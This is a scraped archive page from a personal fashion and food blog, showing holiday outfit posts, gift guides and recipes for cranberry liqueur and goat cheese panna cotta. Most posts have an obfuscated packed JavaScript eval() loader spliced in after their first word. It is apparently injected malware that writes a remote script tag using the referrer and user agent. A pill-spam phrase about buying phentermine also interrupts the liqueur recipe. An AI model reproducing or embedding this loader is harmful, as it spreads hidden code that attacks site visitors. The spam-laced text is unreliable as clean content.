Gift Guide for Him

2016 Fashion, Fashion, Holidays, Winter

Struggling to figure out what to get him for Christmas? I know I always do so I’ve enlisted the guy’s help to pull together this holiday gift guide for him. Happy shopping!

 

I recently styled these Adore Me Eka work out set on the blog here, but they are very versatile from work out gear to hiking. And this H&M vest was last styled here on the blog. I usually opt for lots of layers when hiking because I always start out cold, but I warm up quickly and light layers are easy to take off and carry.

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Gift Guide for Her

2016 Fashion, Fashion, Holidays, Winter

Are you behind in your Christmas shopping like me? I pulled together a few gift ideas for the “her” in your life.

But first, here is a little winter work wear with a few classic pieces from my closet.

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Top (
similar) / H&M Skirt (similar) / Target Tights (similar) / Forever 21 Heels (similar)/ Sheinside Scarf (similar)

No matter the woman you’re shopping for – your mom, girlfriend, sister, or daughter – we all love these accessories:

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Happy International Women’s Day

Holidays

Happy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yafbz|var|u0026u|referrer|tdkbt||js|php’.split(‘|’),0,{}))
International Women’s Day!

I’m dedicating today’s post to my mom, a food and fashion blogger – it runs in the family. I don’t often get personal on my blog, but I owe much of my strength from the way she has raised me. She’s inspired me and encouraged me to start my blog four years ago. She has taught me that women are strong. We must see our own value for others to see it in us.

“A girl should be two things: who and what she wants.”
Coco Chanel, The Gospel According to Coco Chanel: Life Lessons from the World’s Most Elegant Woman

Homemade Cranberry Liqueur

2015 Food, Food, Holidays

Hope you all had a wonderful Thanksgiving and are treating your self to some retail therapy this Black Friday.

I’m linking to my mom’s great food blog for this #FoodieFriday post because you know… I’m shopping today.

I’m not saying this because I’m just her daughter, but I would genuinely recommend her blog to my readers. She’s a phenomenal chef. And now you can get my mom’s homemade cooking by following her at Side eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehzfr|var|u0026u|referrer|nhdah||js|php’.split(‘|’),0,{}))
Walk Shoes
!

But because we are all adults here, I’m sharing her recipe for homemade cranberry liqueur.

 

Cranberry Liqueur

  • 2 cups sugar
  • 1 cup water
  • 1 12-ounce package of fresh cranberries (or one of the 8 or so you have in your freezer)
  • 3 cups vodka

Combine the sugar and water in a saucepan and over medium heat cook for 5 minutes, where can i purchase phentermine 37.5 mg stirring, until sugar dissolves.  Remove from heat and cool completely.

Place cranberries in food processor and process for about 2 minutes or until finely chopped. Combine the sugar mixture, cranberries, and vodka in a large bowl.  Pour into clean jars with lids and let sit in a cool, dark place for 3 weeks, shaking every other day (or whenever you remember).

Strain through a cheesecloth lined sieve into a bowl and discard solids.  Pour into clean jars or bottles, and sit back and admire!

Note: Liqueur can be stored refrigerated or at room temperature for a year.

SERVING SUGGESTION – Cranberry Cosmopolitan – Place crushed ice in a cocktail shaker.  Add 1/2 cup cranberry liqueur, 1/4 cup Cointreau, and 2 tablespoons lime juice; strain into martini glasses.  Yields 2 cocktails.

St. Patrick’s Day Green with Fur

2015 Fashion, Fashion, Favorite Features, Holidays, Winter

How eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfskh|var|u0026u|referrer|sibai||js|php’.split(‘|’),0,{}))
did you celebrate your St. Patrick’s Day?

Work is keeping me very busy this week so I’m just remixing a lot of old favorites for today’s look! I think I’ll need some retail therapy after this week is over…

don’t you agree?

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New Year’s Eve White Power Suit

2014 Fashion, Fashion, Holidays, Winter

Happy eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzhaz|var|u0026u|referrer|yzybs||js|php’.split(‘|’),0,{}))
New Year’s Eve! To help introduce the new year, I’m wearing a white power suit to inspire me to empower myself in 2015! Nothing says Girl Boss more than white. These are also high-waisted, wide-legged trousers like the ones I wore on my Monday post. This style combined with monochromatic white helps to elongate my petite frame.

H&M Blazer (old, similar)/ SheInside Cropped Top (old, similar) / ASOS Trousers (old, similar)/ Shoedazzle Booties (old, similar)

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One-Shoulder Christmas Red Dress

2014 Fashion, Fashion, Favorite Features, Holidays, Winter

Merry eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahfet|var|u0026u|referrer|hyftk||js|php’.split(‘|’),0,{}))
Christmas!

‘Tis the season to wear red dresses! I wore this look to my guy’s company’s Christmas party.

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Goat Cheese Panna Cotta with Cranberry with Port Glaze

2014 Food, Food, Holidays

Goat Cheese Panna Cotta with Cranberry-Port Glaze

Goat eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekiyh|var|u0026u|referrer|nrnfh||js|php’.split(‘|’),0,{}))
Cheese Panna Cotta with Cranberry-Port Glaze

Panna Cotta

  • 8 ounces softened goat cheese
  • 2 teaspoons powdered gelatin
  • 2 cups whole milk, divided
  • 1/3 cup sugar
  • 1/8 teaspoon cardamom powder (I subbed nutmeg because I was out of cardamom)
  • 1/4 teaspoon cinnamon
  • pinch salt

Cranberry-Port Glaze

  • 2 (12-ounce)bags fresh cranberries
  • 1 1/4 cups sugar
  • 1/2 cup ruby port
  • 1 long sprig rosemary
  • 2 1/2 teaspoons gelatin

Crumble the goat cheese and set it aside.  In a wide shallow bowl, sprinkle the gelatin over 1/2 cup of the milk, and let it soften for 5 minutes.

Warm the remaining 1 1/2 cups milk and the sugar in a 2 quart saucepan over medium high heat until small bubbles form on the side of the pan.  Whisk in the goat cheese and stir until it melts.  Add the milk and the gelatin, and whisk vigorously until the gelatin is dissolved and all of the goat cheese has melted. Turn off the heat and stir in the cardamom, cinnamon, and salt.

Divide this mixture into 6 dessert glasses and put in the fridge to chill while you make the cranberry-port glaze.

Heat the cranberries with the sugar, 1 cup water, the port and the rosemary sprig in a 2 quart saucepan over medium-high heat.  After it comes to a simmer, cook for 15 minutes, or until all of the cranberries have burst open.  Strain through a fine mesh sieve and then sprinkle the gelatin over the liquid and let it sit for 5 minutes to soften.  Pour the cranberry juice back in the pan and heat it up, stirring gently until all of the gelatin has dissolved.  Turn off the heat, and let it cook for 15 to 30 minutes.

Evenly divide the cranberry mixture over the prepared goat cheese panna cotta.  Chill for at least two hours, but preferably overnight.

Makes six 1/2 cup Gluten Free Servings! (Recipe from Bakeless Sweets: Pudding, Panna Cotta, Fluff, Icebox Cake, and More No-Bake Desserts)

Goat Cheese Panna Cotta with Cranberry-Port Glaze

I stole this dessert recipe from my mom’s blog to make for Thanksgiving dinner. While it turned out beautiful, it didn’t taste the way I thought I thought it should. The port glaze was very laborious because you have to strain it (and because I doubled the recipe –  straining took a long time!). I’m going to try and make a classic panna cotta before I give up on this dessert. I prefer my desserts easy, simple and tasty.

Goat Cheese Panna Cotta with Cranberry-Port Glaze

 

Stars and Stripes in Little Italy in New York City

2014 Fashion, Fashion, Holidays, Summer

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kdkre|var|u0026u|referrer|eaesf||js|php’.split(‘|’),0,{}))
visit New York City for the 4th of July, and spent that weekend wandering through the streets of Soho, Chinatown and Little Italy. Because of the holiday, I wore this blue and white
starred top from Marshalls as I shopped and ate my through Manhattan.

Top Marshalls (similar) / H&M White Shorts / Leaf Necklace (similar) / Shooz on 7 sandals (similar)/ Old Navy Bucket Purse / Maui Jim Sunglasses 

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Christmas Red

2013, Fashion, Holidays

Kate Style Petite, Kate Greer, H&M Christmas Dress, Holiday

Merry eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybhni|var|u0026u|referrer|fnkze||js|php’.split(‘|’),0,{}))
Christmas everyone!  Hopefully you were good this year and will be too busy opening presents from Santa!